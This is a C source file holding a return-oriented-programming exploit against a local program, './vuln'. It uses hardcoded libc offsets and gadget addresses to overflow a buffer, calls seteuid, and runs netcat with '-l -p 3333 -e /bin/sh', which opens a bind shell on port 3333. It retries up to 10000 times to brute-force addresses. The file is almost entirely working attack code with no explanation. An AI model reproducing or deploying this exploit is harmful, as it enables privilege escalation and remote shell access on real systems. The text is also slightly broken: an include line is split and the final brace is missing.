#include <stdio.
h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
unsigned char buffer[1024];
unsigned long libc_base = 0xb7e55000;
int i=0;
#define APPENDL(offset) \
APPEND(libc_base+(unsigned long)offset)
#define APPEND(data) \
*((unsigned long *)buffer + i++) = data
#define DUMMY 0xdeadbeef
/* LIBC funcs */
#define addr_printf 0x49c90
#define addr_strcpy 0x76df0
#define addr_seteuid 0xd9a40
#define addr_execve 0x9d2c0
/* LIBC strings, null terminated */
#define str_percent_n 0x13df4f
#define str_slash_bin 0x13e501
#define str_slash_net 0x13e9a6
#define str_slash_sh 0x13cc77
#define str_cat 0xdda3
#define str_dash 0x7f6
#define str_l 0x8d9
#define str_p 0xa74
#define str_33 0x9c88
#define str_e 0x7cd0
/* LIBC chunks */
#define pop_edx_pop_ecx_pop_eax 0xe54ff
#define poppopret 0x116975
#define pop_eax pop_edx_pop_ecx_pop_eax+2
#define ret pop_eax+1
#define xor_eax_eax 0x3c3fe
#define ecx_into_eax 0x2adef
#define eax_into_esp_plus_12 0x2b1f5
/* BSS references */
unsigned long LOC1 = 0x0804ae10;
unsigned long ARGV1 = 0x0804ae21;
unsigned long ARGV2 = 0x0804ae24;
unsigned long ARGV3 = 0x0804ae27;
unsigned long ARGV4 = 0x0804ae2c;
unsigned long ARGV5 = 0x0804ae2f;
unsigned long LOC2 = 0x0804ae41;
#define NO_BSS_OFFSET 0x1000
/* WITH_BSS = 0 if data + bss segment aren't apart */
#define WITH_BSS 1
void prepare_buffer() {
int j;
if (!WITH_BSS) {
LOC1 -= NO_BSS_OFFSET;
ARGV1 -= NO_BSS_OFFSET;
ARGV2 -= NO_BSS_OFFSET;
ARGV3 -= NO_BSS_OFFSET;
ARGV4 -= NO_BSS_OFFSET;
ARGV5 -= NO_BSS_OFFSET;
LOC2 -= NO_BSS_OFFSET;
}
while (i < 26) // overflow til saved return address
APPEND(DUMMY);
/* Copy "/bin/netcat" to LOC1 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(LOC1);
APPENDL(str_slash_bin);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(LOC1+4);
APPENDL(str_slash_net);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(LOC1+8);
APPENDL(str_cat);
/* Copy "-l" to ARGV1 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV1);
APPENDL(str_dash);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV1+1);
APPENDL(str_l);
/* Copy "-p" to ARGV2 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV2);
APPENDL(str_dash);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV2+1);
APPENDL(str_p);
/* Copy "3333" to ARGV3 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV3);
APPENDL(str_33);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV3+2);
APPENDL(str_33);
/* Copy "-e" to ARGV4 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV4);
APPENDL(str_dash);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV4+1);
APPENDL(str_e);
/* Copy "/bin/sh" to ARGV5 */
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV5);
APPENDL(str_slash_bin);
APPENDL(addr_strcpy);
APPENDL(poppopret);
APPEND(ARGV5+4);
APPENDL(str_slash_sh);
/* Create argv[] => copy LOC1+5 and ARGV* to LOC2 */
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(LOC1+5);
APPEND(LOC2);
APPENDL(ecx_into_eax);
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(ARGV1);
APPEND(LOC2+4);
APPENDL(ecx_into_eax);
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(ARGV2);
APPEND(LOC2+8);
APPENDL(ecx_into_eax);
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(ARGV3);
APPEND(LOC2+12);
APPENDL(ecx_into_eax);
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(ARGV4);
APPEND(LOC2+16);
APPENDL(ecx_into_eax);
APPENDL(pop_edx_pop_ecx_pop_eax);
APPEND(DUMMY);
APPEND(ARGV5);
APPEND(LOC2+20);
APPENDL(ecx_into_eax);
/* Copy NULL to ARGV6 */
APPENDL(addr_printf);
APPENDL(poppopret);
APPENDL(str_percent_n);
APPEND(LOC2+24);
/* Push null byte to seteuid arg */
APPENDL(xor_eax_eax);
APPENDL(eax_into_esp_plus_12);
APPENDL(ret);
/* Do final calls */
APPENDL(addr_seteuid);
APPENDL(pop_eax);
APPEND(DUMMY);
APPENDL(addr_execve);
APPEND(DUMMY);
APPEND(LOC1);
APPEND(LOC2);
APPEND(LOC2+24);
/* Review payload */
printf("Buffer has %d bytes\n",(i<<2));
for (j=0;j < (i<<2);j++) {
char * msg = NULL;
switch (buffer[j]) {
case '\0':
msg = "null";
break;
case ' ':
msg = "space";
break;
case '\n':
msg = "LF";
break;
case '\r':
msg = "CR";
break;
case '\x0b':
msg = "VT";
break;
case '\xef':
msg = "EOL";
break;
case '\xff':
msg = "EOF";
break;
}
if (msg != NULL) {
printf("Aborting exploit: byte %d is %s\n",j,msg);
exit(1);
}
}
printf("\n");
}
int main() {
pid_t pid;
int status,i;
prepare_buffer();
for(i=1;i<10000;i++) {
int fpipe[2];
pipe(fpipe);
printf("Execution %d\n",i);
/* fork the vulnerable program */
if ((pid = fork()) == 0) {
dup2(fpipe[0],0);
execl("./vuln","vuln",NULL);
exit(1);
}
/* Fork crafted input */
if (fork() == 0) {
dup2(fpipe[1],1);
/* Print + EOL */
printf("%s\n",buffer);
waitpid(pid,NULL,0);
exit(0);
}
waitpid(pid,&status,0);
if (WIFSIGNALED(status) != 0) {
switch (WTERMSIG(status)) {
case SIGSEGV:
case SIGFPE:
case SIGILL:
case SIGBUS:
case SIGTRAP:
continue;
default:
printf("Unknown signal%d\n",WTERMSIG(status));
}
}
printf("Execution ended\n");
break;
}
return 0;